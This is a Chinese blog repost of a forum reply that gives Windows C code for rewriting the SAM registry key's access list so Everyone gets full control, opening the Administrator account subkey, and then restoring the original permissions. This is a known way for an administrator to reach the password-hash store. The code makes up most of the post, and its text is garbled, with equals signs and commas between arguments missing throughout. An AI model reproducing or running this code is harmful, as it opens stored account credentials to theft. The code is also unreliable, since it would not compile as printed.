API实现了regedt32修改注册表权限(幻影 zzzevazzz)

昨天想找个system权限修改注册表的例子,感谢eva写了一个 不过小榕ca.exe的源代码到底公布了没有 我还真是忘记了


不要老是盯着SYSTEM权限。SYSTEM固然通行无阻,但访问SAM这种事有admin足够了。
虽然admin不能直接访问SAM,但可以获取访问权限。

我给个例子你自己修改吧。

Codz:

#include <Windows.h>
#include <Aclapi.h>

#pragma comment (lib,"Advapi32.lib")

void main()
{
    
DWORD dwRet;
    
LPSTR SamName "MACHINE//SAM//SAM";
    
PSECURITY_DESCRIPTOR pSD NULL;
    
PACL pOldDacl NULL;
    
PACL pNewDacl NULL;
    
EXPLICIT_ACCESS ea;
    
HKEY hKey NULL;

    
// 获取SAM主键的DACL
    
dwRet GetNamedSecurityInfo(SamNameSE_REGISTRY_KEYDACL_SECURITY_INFORMATION,
                
NULLNULL, &pOldDaclNULL, &pSD);
    if (
dwRet != ERROR_SUCCESS)
    {
        
printf("GetNamedSecurityInfo Error: %d/n"dwRet);
        
goto FreeAndExit;
    }

    
// 创建一个ACE,允许Everyone完全控制对象,并允许子对象继承此权限
    
ZeroMemory(&easizeof(EXPLICIT_ACCESS));
    
BuildExplicitAccessWithName(&ea"Everyone"KEY_ALL_ACCESSSET_ACCESS,
        
SUB_CONTAINERS_AND_OBJECTS_INHERIT);

    
// 将新的ACE加入DACL
    
dwRet SetEntriesInAcl(1, &eapOldDacl, &pNewDacl);
    if (
dwRet != ERROR_SUCCESS)
    {
        
printf("SetEntriesInAcl Error: %d/n"dwRet);
        
goto FreeAndExit;
    }

    
// 更新SAM主键的DACL
    
dwRet SetNamedSecurityInfo(SamNameSE_REGISTRY_KEYDACL_SECURITY_INFORMATION,
                
NULLNULLpNewDaclNULL);
    if (
dwRet != ERROR_SUCCESS)
    {
        
printf("SetNamedSecurityInfo Error: %d/n"dwRet);
        
goto FreeAndExit;
    }

    
// 打开SAM的子键
    
dwRet RegOpenKeyEx(HKEY_LOCAL_MACHINE"SAM//SAM//Domains//Account//Users//000001F4",
                
0KEY_ALL_ACCESS, &hKey);
    if (
dwRet != ERROR_SUCCESS)
    {
        
printf("RegOpenKeyEx Error: %d/n"dwRet);
        
goto FreeAndExit;
    }

    
printf("Open SAM Subkey Successfully./n");

FreeAndExit:
    if (
hKeyRegCloseKey(hKey);
    if (
pNewDaclLocalFree(pNewDacl);
    
// 还原SAM主键的DACL
    
if (pOldDaclSetNamedSecurityInfo(SamNameSE_REGISTRY_KEYDACL_SECURITY_INFORMATION,
                        
NULLNULLpOldDaclNULL);
    if (
pSDLocalFree(pSD);
    return;
}


这段代码其实是通过调用API实现了regedt32修改权限的功能。

P.S. 本来想用RegGetKeySecurity和RegSetKeySecurity的,但SetEntriesInAcl的时候总是“参数错误”,不知道问题出在哪里,郁闷。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值